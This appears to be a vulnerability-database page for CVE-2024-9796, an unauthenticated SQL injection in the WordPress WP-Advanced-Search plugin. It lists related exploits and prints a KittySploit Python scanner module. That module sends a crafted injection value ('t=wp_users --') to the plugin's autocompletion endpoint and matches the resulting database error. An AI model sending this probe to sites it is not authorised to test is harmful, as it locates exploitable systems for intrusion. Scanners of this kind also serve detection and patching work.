Lucene search
+L

WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Unauthenticated SQL Injection in WP-Advanced-Search for WordPress allows database data extraction.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for SQL Injection in Internet-Formation Wp-Advanced-Search
25 Jan 202622:47
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Internet-Formation Wp-Advanced-Search
20 Jun 202518:00
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Internet-Formation Wp-Advanced-Search
18 Oct 202414:30
–githubexploit
circl
Circl
CVE-2024-9796
10 Oct 202410:54
–circl
cnnvd
CNNVD
WordPress plugin WP-Advanced-Search 安全漏洞
10 Oct 202400:00
–cnnvd
cve
CVE
CVE-2024-9796
10 Oct 202407:38
–cve
cvelist
Cvelist
CVE-2024-9796 WP-Advanced-Search < 3.3.9.2 - Unauthenticated SQL Injection
10 Oct 202407:38
–cvelist
kitploit
Kitploit
CVE-2024-9796
12 Oct 202614:40
–kitploit
kitploit
Kitploit
CVE-2024-9796
15 Oct 202603:36
–kitploit
kitploit
Kitploit
CVE-2024-9796
16 Oct 202619:59
–kitploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, an."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection Detection',
        'description': 'The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2024', 'wp', 'wordpress', 'wp-plugin', 'sqli', 'wp-advanced-search', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b/',
            'https://github.com/RandomRobbieBF/CVE-2024-9796',
            'https://nvd.nist.gov/vuln/detail/CVE-2024-9796',
        ],
        'cve': 'CVE-2024-9796',
    }

    def run(self):
        r = self.http_request(method="GET", path='/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20--&f=user_login&type=&e', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ("Table '([a-zA-Z0-9_]+)\\.wp_users' doesn't exist",)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='critical',
                reason="WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection detected",
                path='/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20--&f=user_login&type=&e',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
7.1High risk
Vulners AI Score7.1
CVSS 3.15.9 - 9.8
EPSS0.02996
SSVC
2